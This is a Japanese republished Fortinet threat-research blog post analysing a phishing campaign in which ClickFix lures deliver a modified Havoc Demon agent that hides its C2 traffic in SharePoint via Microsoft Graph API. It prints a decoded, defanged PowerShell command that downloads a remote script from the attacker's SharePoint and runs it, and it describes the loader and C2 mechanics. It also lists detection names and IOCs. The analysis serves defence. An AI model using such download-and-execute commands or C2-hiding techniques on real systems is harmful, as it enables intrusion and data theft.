改造版Havoc Demonが猛威! SharePointを悪用した新たな攻撃を解析
提供: フォーティネットジャパン
本記事はフォーティネットジャパンが提供する「FORTINETブログ」に掲載された「Havoc:SharePointとMicrosoft Graph APIをFUD C2に悪用」を再編集したものです。
影響を受けるプラットフォーム: Microsoft Windows
影響を受けるユーザー: あらゆる組織
影響: 攻撃者による感染したシステムの乗っ取り
深刻度: 高
Havocは強力なコマンド&コントロール(C2)フレームワークです。Cobalt Strike、Silver、Winos4.0などその他の有名なC2フレームワークと同様、Havocは攻撃キャンペーンで標的を完全に制御するために使用されています。また、GitHubで入手できるオープンソースのフレームワークであるため、脅威アクターはこれを容易に改造して検知を回避することができます。
FortiGuard Labsは先日、ClickFixと多段階型マルウェアを組み合わせて改造版Havoc Demonエージェントを配信するフィッシング攻撃を発見しました。脅威アクターはSharePointサイトに各攻撃段階を隠蔽し、Havoc Demonの改造版とMicrosoft Graph APIを組み合わせて、信頼性の高い有名なサービスにC2通信を紛れ込ませます。図1に攻撃チェーンを示します。
初期アクセス
この攻撃は、HTMLファイルが添付されたフィッシングメール(図2)から始まります。簡単な説明と緊急性を装った文面で、受信者に今すぐ添付ファイルを開くよう促します。
添付されている「Documents.html」は、ClickFixの攻撃ファイルです。偽のエラーメッセージとHTML形式の説明が埋め込まれており、ユーザーを騙して悪意のあるPowerShellコマンドを端末またはPowerShellにコピーアンドペーストさせ、最終的に悪意のあるコードを実行します。
図3のbase64でエンコードされた文字列をデコードすると、リモートPowerShellスクリプトをダウンロードして実行するPowerShellコマンドであることがわかります。
powershell -w h -c "iwr ‘hxxps://hao771[.] sharepoint.com/_layouts/15/download.aspx?share =EU7smZuKo-pDixZ26BSAaX0BVVcF5VkOc7qEvjsDSAH9OQ'|iex"
payload_20250112_074319.ps1
このスクリプトファイルはSharePointでホストされ、脅威アクターによって制御されています。スクリプトは実行されると、ドメインコンピュータの数を確認し、実行環境がサンドボックスかどうかを確かめます。次に、HKCU:\Software\Microsoft配下にあり、名前が「zr_」で始まるレジストリエントリをすべて削除し、指定されたプロパティを感染マーカーとして追加します(図4)。
続いてpythonw.exeの有無を確認します。pythonw.exeがない場合は、Pythonインタプリタをダウンロードします。それ以外の場合は、Pythonスクリプトを直接実行します。最後にリモートPythonスクリプトが抽出され、悪意のある行為を隠蔽するために非表示ウィンドウで実行されます(図5)。
Pythonシェルコードローダー:
payload_20250107_015913.py
PowerShellスクリプトと同様に、Pythonスクリプトも同じSharePointでホストされます。スクリプトはロシア語で書かれたデバッグ情報を格納しており、シェルコードローダーとして機能します。
私たちは、端末上でPythonインタプリタを使ってスクリプトを直接実行しました。ログには「Выделение памяти」(メモリ割り当て)、「Запись в память」(メモリへの書き込み)、「Выполнение shellcode」(シェルコードの実行)、「Завершение выполнения скрипта」(スクリプトの実行完了)が順次表示されます。これはシェルコードの実行に成功したことを示しています(図6)。
KaynLdr
KaynLdrはGithubのシェルコードローダーで、埋め込まれたDLLを反射的に読み込むよう設計されています。改変したDJB2アルゴリズムを使ったAPIハッシュ化によって解析を困難にし、解決されたntdll APIを利用してメモリの割り当てとマッピングを行います。「call rax」命令は、埋め込まれたDLLのエントリポイントを実行します(図7)。
Havoc Demon DLL
HavocはオープンソースのポストエクスプロイトC2フレームワークで、侵害された標的を完全に制御する目的で、レッドチーム演習や攻撃キャンペーンで使用されています。
今回の攻撃では、脅威アクターがHavocとMicrosoft Graph APIを組み合わせて使用し、C2通信を有名なサービスに隠蔽することが確認されています。
改造版のHavoc Demon DLLも、まずはDemonInitを実行し、KaynLdrと同じハッシュアルゴリズムを使用して必要なAPIを取得し、コンフィギュレーションオブジェクトを初期化します。
2つ目の関数「SharePointC2Init」は、Microsoft Graph APIを使用して攻撃者のSharePointサイトにあるファイルを初期化します。
まず、ハードコードされた共有シークレットと必須パラメータを組み合わせ、POSTリクエストを作成します。次に、リクエストをMicrosoft Identity Platformの/tokenエンドポイントに送信し、Microsoft Graph API用のアクセストークンを取得します。
続いて、取得したトークンを使用してPUTリクエストを作成し、SharePointの既定のドキュメントライブラリに2つのファイルを作成します(図10)。
Havoc AgentIDは、ファイル名としてVictimIDを生成し、その目的を示すサフィックス「pD9-tKout」または「pD9-tKin」を付けます。
C2に最初に送信されるパケットはCheckInリクエストで、DemonMetaData関数で収集したデータが格納されています。この段階で、被害者の情報(ホスト名、ユーザー名、ドメイン名、IPアドレス、プロセスの詳細、OS情報、昇格されたアカウントの有無、Demon DLLのコンフィギュレーションなど)がC2サーバーに送信されます。
すべてのコンテンツは、ランダムに生成された256ビットキーと128ビットIVを使用して、CTRモードのAES-256アルゴリズムによって暗号化されます。最後にヘッダーが追加された後(図11)、TransportSend関数を介してデータがC2サーバーに送信されます。
TransportSend関数は、{VictimID}pD9-tKoutと{VictimID}pD9-tKinの2つのファイルにアクセスしてC2と通信するように変更されていました。
この関数は、「{VictimID}pD9-tKout」ファイルへのリクエストを更新し、次にMicrosoft Graph APIとGETメソッドを使用してC2からの応答を受信し、「{VictimID}pD9-tKin」ファイルのコンテンツにアクセスします。応答を正常に取得すると、「{VictimID}pD9-tKin」ファイルのコンテンツはただちに削除されます。
次に、応答のコンテンツとAgentIDが照合されます。両者が一致すると、session.connectedフラグが設定され、攻撃者からの新規タスクを待機するためにディスパッチャルーチンが開始されます。
ディスパッチャルーチンでは、エージェントが「Get Job」リクエストを送信し、応答を解析してコマンドID、リクエストID、タスクを取得します。我々の解析ではDEMON_COMMAND_NO_JOB(コマンドID:0xA)しか確認されませんでしたが、以下に示すように、プログラム中に0xA以外のコマンドIDが存在する場合は、タスクが復号され実行されることが判明しました。
サポートされるコマンドはHavoc Githubの場合と同じです(図14)。これらのコマンドにより、標的に関する情報収集、ファイル操作、コマンドとペイロードの実行、トークンの操作、Kerberos攻撃などが行われます。
結論
悪意のあるコマンドをうっかりダウンロードして実行しないようにするには、フィッシングメールに警戒するだけでなく、端末やPowerShellを開くよう促す誘導メッセージにも特別な注意を払う必要があります。
本ブログでは、Havoc Demonで使用された攻撃フローと、改造されたオープンソースのポストエクスプロイトフレームワークについて解説しました。この攻撃キャンペーンでも、公共サービスは重要な役割を果たしています。現在では、これらのサービスと改造版Havoc Demonはより緊密に統合され、悪意のある通信をMicrosoft Graph APIに隠蔽し、識別や検知をより困難にしています。
フォーティネットのソリューション
FortiGuardアンチウイルスは、このブログで解説したマルウェアを、以下の不正プログラムとして検知しブロックします。
HTML/Agent.A5D4!tr
PowerShell/MalwThreat!ebc5FT
Python/Agent.DF60!tr
W64/Havoc.L!tr
FortiGate、FortiMail、FortiClient、FortiEDRは、FortiGuardアンチウイルスサービスをサポートしています。これらの各ソリューションには、FortiGuardアンチウイルスエンジンが含まれています。したがって、最新の保護機能を備えたこれらの製品をお使いのお客様は、脅威から保護されています。
FortiGuard CDR(コンテンツ無害化)サービスは、ドキュメント内の悪意のあるマクロを無効化することができます。
FortiGuard Labsは、Havoc C2ネットワーク通信をブロックするためのBackdoor.Havoc.Agent IPSシグネチャを公開しています。
フォーティネットでは、無償でご利用いただけるサイバーセキュリティトレーニング:Fortinet Certified Fundamentals(FCF)の受講もお勧めしています。このトレーニングは、ユーザーが今日の脅威情勢を認識し、基本的なサイバーセキュリティの概念と技術を習得することを目的としています。
FortiGuard IPレピュテーションおよびアンチボットセキュリティサービスは、フォーティネット分散ネットワークから入手した不正送信元のIPデータを集約し、マルウェア攻撃をプロアクティブにブロックします。この分散ネットワークでは、脅威センサー、CERT、MITER、協力関係にある他社、その他のグローバルソースが連携し、悪意ある送信元に関する最新の脅威インテリジェンスを提供しています。
組織がHavoc Demonやその他のサイバーセキュリティ攻撃を受けていると思われる場合は、フォーティネットのグローバルFortiGuardインシデントレスポンスチームまでご連絡ください。
IOC(Indicators of Compromise:侵害指標)
C2
hao771[.]sharepoint.com
ファイル
51796effe230d9eca8ec33eb17de9c27e9e96ab52e788e3a9965528be2902330
989f58c86343704f143c0d9e16893fad98843b932740b113e8b2f8376859d2dd
A5210aaa9eb51e866d9c2ef17f55c0526732eacb1a412b910394b6b51246b7da
cc151456cf7df7ff43113e5f82c4ce89434ab40e68cd6fb362e4ae4f70ce65b3
この記事の編集者は以下の記事もオススメしています
-
sponsored
膨大なアラートを自動で整理! 「FortiAI」でサイバーセキュリティを強化 -
sponsored
大幅強化された「FortiOS」で包括的OTセキュリティプラットフォームを構築 -
sponsored
クラウドのサービス開発で健康データ4万件が漏洩の危機! どうやったら防げた? -
sponsored
フォーティネットの経営陣が語る! 2024年度の成長と今後の戦略 -
sponsored
リモートアクセス型トロイの木馬を配布するEメールキャンペーンが発生















